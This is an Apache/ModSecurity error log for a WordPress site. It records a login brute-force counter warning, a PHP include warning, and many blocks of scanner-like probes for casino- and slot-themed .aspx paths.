[Fri May 01 14:38:47.095863 2026] [:error] [pid 24997:tid 25075] [client 103.172.76.104:19006] [client 103.172.76.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.172.76.104, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afRKd_OkHa4ScY5oo8xwNAAAANM"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F&reauth=1
[Fri May 01 14:43:09.345108 2026] [proxy_fcgi:error] [pid 24996:tid 25033] [client 103.172.76.104:20051] AH01071: Got error 'PHP message: PHP Warning:  include(/home/vetstars/public_html/wp-content/languages/plugins/wordpress-seo-premium-en_AU.l10n.php): Failed to open stream: No such file or directory in /home/vetstars/public_html/wp-includes/l10n.php on line 1618; PHP message: PHP Warning:  include(): Failed opening '/home/vetstars/public_html/wp-content/languages/plugins/wordpress-seo-premium-en_AU.l10n.php' for inclusion (include_path='.:') in /home/vetstars/public_html/wp-includes/l10n.php on line 1618', referer: https://vetstars.com.au/wp-admin/plugins.php?plugin_status=all&paged=1&s
[Fri May 01 14:48:49.012980 2026] [:error] [pid 24997:tid 25064] [client 103.172.76.104:17200] [client 103.172.76.104] ModSecurity: collection_retrieve_ex: Failed deleting collection (name "ip", key "103.172.76.104_10b499f2f5988d7d30239eab2a57e73c74c845e0"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/assets/css/modules/editor-one/admin-menu.min.css"] [unique_id "afRM0fOkHa4ScY5oo8x0cgAAAMg"], referer: https://vetstars.com.au/wp-admin/users.php?update=add&id=6
[Fri May 01 16:10:11.403584 2026] [:error] [pid 24997:tid 25066] [client 43.166.142.76:33616] [client 43.166.142.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afRf4_OkHa4ScY5oo8yRUQAAAMo"]
[Fri May 01 16:21:28.851084 2026] [:error] [pid 25085:tid 25098] [client 159.196.168.244:32194] [client 159.196.168.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about-us"] [unique_id "afRiiPuD8fWRiE0RX0HTvQAAAUc"]
[Fri May 01 16:21:29.713754 2026] [:error] [pid 24997:tid 25075] [client 159.196.168.244:32224] [client 159.196.168.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/who-we-are"] [unique_id "afRiifOkHa4ScY5oo8yUqAAAANM"]
[Fri May 01 16:21:30.573317 2026] [:error] [pid 24997:tid 25066] [client 159.196.168.244:32241] [client 159.196.168.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/team"] [unique_id "afRiivOkHa4ScY5oo8yUqQAAAMo"]
[Fri May 01 16:21:31.347593 2026] [:error] [pid 33791:tid 33806] [client 159.196.168.244:31750] [client 159.196.168.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/our-team"] [unique_id "afRii29ixd-moLycM9C4UQAAAAw"]
[Fri May 01 16:21:32.114604 2026] [:error] [pid 33791:tid 33815] [client 159.196.168.244:31767] [client 159.196.168.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/staff"] [unique_id "afRijG9ixd-moLycM9C4UwAAABU"]
[Fri May 01 16:57:02.447549 2026] [:error] [pid 33791:tid 33801] [client 54.37.84.47:42872] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afRq3m9ixd-moLycM9DCzAAAAAc"]
[Fri May 01 16:57:04.874765 2026] [:error] [pid 33791:tid 33795] [client 54.37.84.47:47418] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afRq4G9ixd-moLycM9DC0gAAAAE"]
[Fri May 01 16:57:07.197870 2026] [:error] [pid 24997:tid 25062] [client 54.37.84.47:52298] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afRq4_OkHa4ScY5oo8ydZAAAAMY"]
[Fri May 01 16:57:09.628600 2026] [:error] [pid 25085:tid 25100] [client 54.37.84.47:52302] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afRq5fuD8fWRiE0RX0HbOgAAAUk"]
[Fri May 01 16:57:12.031091 2026] [:error] [pid 24997:tid 25058] [client 54.37.84.47:52304] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afRq6POkHa4ScY5oo8ydawAAAMQ"]
[Fri May 01 16:57:14.429297 2026] [:error] [pid 24997:tid 25069] [client 54.37.84.47:52306] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afRq6vOkHa4ScY5oo8ydcgAAAM0"]
[Fri May 01 16:57:16.975037 2026] [:error] [pid 33791:tid 33801] [client 54.37.84.47:47904] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afRq7G9ixd-moLycM9DC5wAAAAc"]
[Fri May 01 16:57:19.355729 2026] [:error] [pid 33791:tid 33795] [client 54.37.84.47:47906] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afRq729ixd-moLycM9DC6wAAAAE"]
[Fri May 01 16:57:21.875467 2026] [:error] [pid 25085:tid 25115] [client 54.37.84.47:47908] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afRq8fuD8fWRiE0RX0HbQAAAAVg"]
[Fri May 01 16:57:24.425865 2026] [:error] [pid 24996:tid 25030] [client 54.37.84.47:47914] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afRq9CDBq9mMfUWQQeo2nwAAAII"]
[Fri May 01 16:57:26.801903 2026] [:error] [pid 33791:tid 33804] [client 54.37.84.47:45770] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afRq9m9ixd-moLycM9DC9wAAAAo"]
[Fri May 01 16:57:29.321729 2026] [:error] [pid 24996:tid 25034] [client 54.37.84.47:45780] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afRq-SDBq9mMfUWQQeo2oAAAAIY"]
[Fri May 01 16:57:31.844083 2026] [:error] [pid 24996:tid 25059] [client 54.37.84.47:45790] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afRq-yDBq9mMfUWQQeo2pAAAAJg"]
[Fri May 01 16:57:34.241422 2026] [:error] [pid 25085:tid 25096] [client 54.37.84.47:45800] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "afRq_vuD8fWRiE0RX0HbTwAAAUU"]
[Fri May 01 16:57:36.778632 2026] [:error] [pid 33791:tid 33808] [client 54.37.84.47:53450] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "afRrAG9ixd-moLycM9DDAwAAAA4"]
[Fri May 01 16:57:39.347745 2026] [:error] [pid 24997:tid 25050] [client 54.37.84.47:53456] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "afRrA_OkHa4ScY5oo8ydgwAAAME"]
[Fri May 01 16:57:41.679098 2026] [:error] [pid 25085:tid 25107] [client 54.37.84.47:53460] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "afRrBfuD8fWRiE0RX0HbWQAAAVA"]
[Fri May 01 16:57:44.218304 2026] [:error] [pid 33791:tid 33805] [client 54.37.84.47:53474] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "afRrCG9ixd-moLycM9DDDAAAAAs"]
[Fri May 01 16:57:46.713379 2026] [:error] [pid 33791:tid 33802] [client 54.37.84.47:60812] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "afRrCm9ixd-moLycM9DDFAAAAAg"]
[Fri May 01 16:57:49.238133 2026] [:error] [pid 33791:tid 33799] [client 54.37.84.47:60816] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "afRrDW9ixd-moLycM9DDFwAAAAU"]
[Fri May 01 16:57:51.741660 2026] [:error] [pid 24996:tid 25034] [client 54.37.84.47:60822] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "afRrDyDBq9mMfUWQQeo2sgAAAIY"]
[Fri May 01 18:32:22.260854 2026] [:error] [pid 24997:tid 25060] [client 62.84.185.69:19780] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "afSBNvOkHa4ScY5oo8y4cgAAAMU"]
[Fri May 01 18:32:24.973916 2026] [:error] [pid 33791:tid 33802] [client 62.84.185.69:19782] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "afSBOG9ixd-moLycM9DmTAAAAAg"]
[Fri May 01 18:32:27.444178 2026] [:error] [pid 25085:tid 25108] [client 62.84.185.69:16750] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "afSBO_uD8fWRiE0RX0HwBgAAAVE"]
[Fri May 01 18:32:30.072144 2026] [:error] [pid 33791:tid 33807] [client 62.84.185.69:16758] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "afSBPm9ixd-moLycM9DmUwAAAA0"]
[Fri May 01 18:32:32.666278 2026] [:error] [pid 25085:tid 25092] [client 62.84.185.69:16774] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "afSBQPuD8fWRiE0RX0HwCgAAAUE"]
[Fri May 01 18:32:35.356932 2026] [:error] [pid 25085:tid 25100] [client 62.84.185.69:16782] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afSBQ_uD8fWRiE0RX0HwEQAAAUk"]
[Fri May 01 18:32:37.874163 2026] [:error] [pid 24997:tid 25070] [client 62.84.185.69:40314] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afSBRfOkHa4ScY5oo8y4fgAAAM4"]
[Fri May 01 18:32:40.312758 2026] [:error] [pid 33791:tid 33816] [client 62.84.185.69:40320] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afSBSG9ixd-moLycM9DmZAAAABY"]
[Fri May 01 18:32:43.063858 2026] [:error] [pid 24996:tid 25028] [client 62.84.185.69:40322] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afSBSyDBq9mMfUWQQepH2wAAAIA"]
[Fri May 01 18:32:45.684454 2026] [:error] [pid 33791:tid 33794] [client 62.84.185.69:40330] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afSBTW9ixd-moLycM9DmbAAAAAA"]
[Fri May 01 18:32:48.512914 2026] [:error] [pid 33791:tid 33797] [client 62.84.185.69:24060] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afSBUG9ixd-moLycM9DmcQAAAAM"]
[Fri May 01 18:32:51.238426 2026] [:error] [pid 24996:tid 25031] [client 62.84.185.69:24066] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afSBUyDBq9mMfUWQQepH3wAAAIM"]
[Fri May 01 18:32:53.945356 2026] [:error] [pid 24995:tid 25012] [client 62.84.185.69:24078] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afSBVedJG9WB_Q_ne0ujFgAAAE0"]
[Fri May 01 18:32:56.632359 2026] [:error] [pid 25085:tid 25099] [client 62.84.185.69:12230] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afSBWPuD8fWRiE0RX0HwFwAAAUg"]
[Fri May 01 18:32:59.386814 2026] [:error] [pid 24995:tid 25002] [client 62.84.185.69:12238] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afSBW-dJG9WB_Q_ne0ujIQAAAEM"]
[Fri May 01 18:33:02.005889 2026] [:error] [pid 24995:tid 25009] [client 62.84.185.69:12262] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afSBXudJG9WB_Q_ne0ujJQAAAEo"]
[Fri May 01 18:33:04.531397 2026] [:error] [pid 33791:tid 33798] [client 62.84.185.69:12266] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afSBYG9ixd-moLycM9DmegAAAAQ"]
[Fri May 01 18:33:07.191357 2026] [:error] [pid 24997:tid 25062] [client 62.84.185.69:24516] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afSBY_OkHa4ScY5oo8y4lQAAAMY"]
[Fri May 01 18:33:09.722920 2026] [:error] [pid 24996:tid 25051] [client 62.84.185.69:24532] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "afSBZSDBq9mMfUWQQepH9AAAAJQ"]
[Fri May 01 18:33:12.277476 2026] [:error] [pid 24996:tid 25028] [client 62.84.185.69:24534] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afSBaCDBq9mMfUWQQepH-QAAAIA"]
[Fri May 01 18:33:15.020811 2026] [:error] [pid 24997:tid 25076] [client 62.84.185.69:24546] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afSBa_OkHa4ScY5oo8y4mQAAANQ"]
[Fri May 01 18:33:44.015989 2026] [:error] [pid 24995:tid 25013] [client 62.84.185.69:1770] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "afSBiOdJG9WB_Q_ne0ujPgAAAE4"]
[Fri May 01 18:33:46.693157 2026] [:error] [pid 24995:tid 25008] [client 62.84.185.69:25754] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "afSBiudJG9WB_Q_ne0ujRAAAAEk"]
[Fri May 01 18:33:49.304322 2026] [:error] [pid 24996:tid 25044] [client 62.84.185.69:25756] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "afSBjSDBq9mMfUWQQepIKQAAAI8"]
[Fri May 01 18:33:52.062912 2026] [:error] [pid 24996:tid 25030] [client 62.84.185.69:25784] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "afSBkCDBq9mMfUWQQepIMgAAAII"]
